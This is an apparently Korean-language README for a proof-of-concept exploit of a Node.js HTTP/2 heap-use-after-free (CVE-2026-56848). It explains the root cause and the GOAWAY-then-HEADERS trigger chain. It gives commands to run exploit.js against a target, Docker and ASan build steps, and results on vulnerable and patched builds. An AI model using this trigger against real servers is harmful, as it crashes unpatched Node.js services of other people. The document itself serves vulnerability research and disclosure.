
CVE-2026-56848에 대한 Exploit PoC로, 원격 인증 없는 DoS를 허용하는 Node.js HTTP/2 힙 사용 후 해제(heap-use-after-free) 취약점입니다. raw-socket 트리거, ASan 빌드 지침, Docker 기반 타깃이 포함되어 있습니다.
Node.js HTTP/2 처리의 결함으로 인해
nghttp2_session_mem_recv()가 실행되는 동안nghttp2_session_mem_send()가 재진입 방식으로 호출될 수 있으며, 이로 인해 힙 사용 후 해제(heap-use-after-free)가 발생합니다.이 취약점은 Node.js 26.x, 24.x 및 22.x에 영향을 미칩니다.
(참고: 설명에 언급된 버전은 업스트림 nodejs 패키지에만 적용되며 Alpine이 배포하는 nodejs 패키지에는 적용되지 않습니다.
| 릴리스 라인 | 취약 버전 | 수정 버전 |
|---|---|---|
| 22.x (LTS) | ≤ 22.23.1 | 22.23.2 |
| 24.x (LTS) | ≤ 24.18.0 | 24.18.1 |
| 26.x | ≤ 26.5.0 | 26.5.1 |
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H — 원격, 인증되지 않은 힙 손상을 통한 DoS)daa6d25e3dce — "http2: defer rst stream while in scope" (nodejs-private/node-private#921)src/node_http2.cc의 Http2Stream::SubmitRstStream()은 RST_STREAM을 큐에 넣기 전에 보류 중인 아웃바운드 데이터의 제거를 강제합니다:```cpp
void Http2Stream::SubmitRstStream(const uint32_t code) {
CHECK(!this->is_destroyed());
code_ = code;
// (NGHTTP2_CANCEL is deferred — fix for an older double-free) if (session_->is_in_scope() && is_stream_cancel(code)) { session_->AddPendingRstStream(id_); return; }
// If possible, force a purge of any currently pending data here to make // sure it is sent before closing the stream. ... if (session_->SendPendingData() != 0) { // ← RE-ENTRANT mem_send() session_->AddPendingRstStream(id_); return; }
FlushRstStream(); }
`SendPendingData()`는 `nghttp2_session_mem_send()`를 호출합니다([node_http2.cc:1970](https://github.com/nodejs/node/blob/v22.23.1/src/node_http2.cc#L1970)). 유일한 재진입 가드는 `is_sending()`인데, 이는 *send-during-send*(이미 진행 중인 쓰기)를 보호할 뿐 **send-during-receive는 보호하지 못합니다**. `SubmitRstStream()`이 `nghttp2_session_mem_recv()` 콜백 체인 내부("in scope")에서 실행되면, purge는 `mem_send()`를 재진입으로 실행합니다.
재진입 `mem_send()`는 전송 측 처리에서 스트림을 해체하는 프레임들을 플러시합니다(`nghttp2_session_close_stream_on_goaway()` → `on_stream_close` → `Http2Stream::Destroy()` → C++ `Http2Stream` 해제). 해제된 스트림은 아직 진행 중인 수신 작업에서 계속 참조됩니다: `SubmitRstStream()` 자체는 해제된 `this`에서 계속 실행되고(뒤이어 호출되는 `FlushRstStream()`이 `is_destroyed()`를 읽음), 바깥쪽 `mem_recv()`는 닫힌 스트림의 프레임/헤더 상태를 계속 탐색합니다 → **heap-use-after-free**.
### 트리거 체인 (모두 단일 `nghttp2_session_mem_recv()` 호출 내부에서 발생)
1. 공격자는 하나의 TCP 세그먼트에서 `GOAWAY(lastStreamID=0, NO_ERROR)` 직후에 새 스트림(3, 5, 7, …)에 대한 `HEADERS` 프레임들을 전송합니다.
2. 서버의 `mem_recv()`가 GOAWAY를 처리합니다 → JS `session.close()` → `session.closed = true`가 되고, 나가는 GOAWAY는 **제출만 되고 아직 전송되지는 않습니다**.
3. nghttp2는 GOAWAY가 실제로 *전송된* 이후에만 새로 들어오는 스트림을 거부합니다(`session_allow_incoming_new_stream()`은 `SUBMITTED`가 아닌 `TERM_ON_SEND | SENT`를 검사). 따라서 `HEADERS(3)`는 여전히 수락됩니다.
4. JS `onSessionHeaders()`는 닫힌 세션에서 새 스트림을 발견하고 이를 거부합니다: `handle.rstStream(NGHTTP2_REFUSED_STREAM)` (lib/internal/http2/core.js).
5. C++ `SubmitRstStream(NGHTTP2_REFUSED_STREAM)`는 스코프 내(`mem_recv` 내부)에서 실행되며, `REFUSED_STREAM ≠ CANCEL` → `SendPendingData()`로 폴스루됩니다 → **재진입 `nghttp2_session_mem_send()`**.
6. 재진입 전송은 나가는 GOAWAY를 플러시합니다; nghttp2의 전송 측 GOAWAY 처리는 id > 1인 수신 스트림을 닫고(`session_close_stream_on_goaway(..., NGHTTP2_REFUSED_STREAM)`), `on_stream_close`를 발생시켜 `Http2Stream::Destroy()`가 스트림 3의 C++ 스트림 객체를 해제합니다.
7. 실행은 해제된 객체의 `SubmitRstStream()`으로 되돌아가고(`FlushRstStream()`), 바깥쪽 `mem_recv()`는 손상된 세션/스트림 상태에서 재개됩니다 → UAF.
취약한 서버에서 `NODE_DEBUG_NATIVE=http2`를 사용해 확보한 증거(86바이트 읽기 1회):```
receiving 86 bytes, offset 0
complete frame received: type: 7 ← GOAWAY
submitting goaway ← GOAWAY submitted, NOT yet sent
beginning headers for stream 3 ← still accepted (only SUBMITTED)
handle headers frame for stream 3 ← JS: session.closed → refuse
sending rst_stream with code 7 ← SubmitRstStream(REFUSED_STREAM), in scope
sending pending data ← RE-ENTRANT mem_send()
stream 3 closed with code: 7 ← GOAWAY send closes stream 3
Removing stream: 3 / destroying stream ← Http2Stream freed mid-recv
와이어 레벨 출력은 취약한 빌드와 패치된 빌드에서 동일합니다 (둘 다 결국 아웃바운드 GOAWAY만 보냅니다 — 취약한 빌드에서는 RST가 이미 닫힌 스트림에 제출되고, 패치된 빌드에서는 nghttp2가 GOAWAY가 먼저 전송되면 대기 중인 RST를 버립니다). 차이는 내부적이며 NODE_DEBUG_NATIVE=http2로 확인할 수 있습니다:
sending pending data가 sending rst_stream with code 7과 stream 3 closed with code: 7 사이에 나타납니다 — 재진입하는 mem_send()가 수신 중간에 실행되어 mem_recv()가 아직 진행 중인 동안 스트림 3을 닫고 파괴합니다 (ASan에서 충돌).sending pending data가 없습니다 — RST는 단지 대기열에 들어갈 뿐이며, 스트림 3은 정상적인 수신 후 플러시 중에만 닫힙니다.server.js # minimal http2.createServer() target (no handler needed) exploit.js # raw-socket HTTP/2 client that drives the trigger
### 빠른 실행```bash
# Terminal 1: the target (any vulnerable node: 22.23.1 / 24.18.0 / 26.5.0 or older in their lines)
node server.js 8000 # NODE_BIN=/path/to/node for a specific binary
# Terminal 2: the attack — a crash shows up in terminal 1 (ASan report / segfault)
node exploit.js --port 8000 --iterations 200
./bin/node (아래에서 사용하는 로컬 ASan 빌드)는 git에 추적되지 않는다 — "Building an ASan-instrumented vulnerable Node.js"의 지침에 따라 빌드하거나 Docker 경로를 사용하라.
이 익스플로잇은 연결별 상태를 보고한다. 첫 연결 후 SKIPPED (no handshake)가 표시되면 대상이 이미 공격으로 죽었다는 뜻이다.
Dockerfile은 컨테이너 내부에 ASan이 포함된 취약한 v22.23.1 대상을 빌드한다(로컬 툴체인 불필요 — Docker 데몬만 있으면 된다):```bash
docker build -t cve-2026-56848 .
docker run --rm -p 8000:8000 --name cve-target cve-2026-56848
node exploit.js --port 8000 --iterations 10
docker logs cve-target docker inspect cve-target --format '{{.State.ExitCode}}' # 133 (ASan abort) = crashed
팁: 이미 다른 곳에서 ASan으로 계측된 `node` 바이너리를 빌드했다면, 긴 컴파일을 건너뛰고 직접 패키징하세요:```bash
docker run --name cve-img -v /path/to/out/Release:/opt/node debian:bookworm-slim \
bash -c 'apt-get update -qq && apt-get install -y -qq libstdc++6 libatomic1 \
&& cp /opt/node/node /usr/local/bin/node-asan && mkdir -p /app'
docker cp server.js cve-img:/app/server.js
docker commit --change 'WORKDIR /app' --change 'EXPOSE 8000' \
--change 'ENV HOST=0.0.0.0' --change 'ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1' \
--change 'ENTRYPOINT ["/usr/local/bin/node-asan"]' --change 'CMD ["server.js", "8000"]' \
cve-img cve-2026-56848:verified
컨테이너화된 대상에 대해 검증됨: 첫 번째 공격 연결 시
ERROR: AddressSanitizer: heap-use-after-free ... ABORTING가 docker logs에 출력되고
컨테이너가 종료됩니다(linux/arm64에서 133) — 네이티브 ASan 실행과 동일한 UAF입니다.
공식 이미지를 사용하는 일반(비-ASan) 변형으로, 커스텀 빌드 없이 반복 테스트용:```bash
docker run --rm -p 8000:8000 -e HOST=0.0.0.0 -v "$PWD/server.js":/server.js
node:22.23.1-alpine node /server.js 8000
참고: ASan이 컨테이너 내부에서 섀도우 메모리 범위 오류로 시작하지 못하는 경우(`vm.mmap_rnd_bits`가 높은 일부 ARM64 커널에서 발생), Docker 호스트의 엔트로피를 낮추십시오: `sysctl vm.mmap_rnd_bits=28`.
### ASan으로 계측된 취약한 Node.js 빌드```bash
# Linux (officially supported):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && ./configure --debug --enable-asan && make -j$(nproc)
# macOS (unofficial but works with clang):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && CC=clang CXX=clang++ \
CFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
LDFLAGS="-fsanitize=address" \
./configure --debug --ninja && ninja -C out/Debug node
The ASan 빌드는 heap-use-after-free를 결정적으로 재현합니다(일반적으로 처음 몇 개의 연결에서). 일반 릴리스 빌드는 해제된 청크가 즉시 재사용되지 않기 때문에 보통 충돌하지 않습니다. 반복적인 연결 시도는 확률을 높이지만, 메모리 손상을 입증하는 신뢰할 수 있는 방법은 ASan입니다.
| 대상 | 결과 |
|---|---|
| v22.23.1 + ASan (취약) | 첫 번째 공격 연결에서 충돌: heap-use-after-free → SIGABRT, runner exit 0 |
| v22.23.2 (패치됨) | 모든 연결에서 생존, runner exit 1 |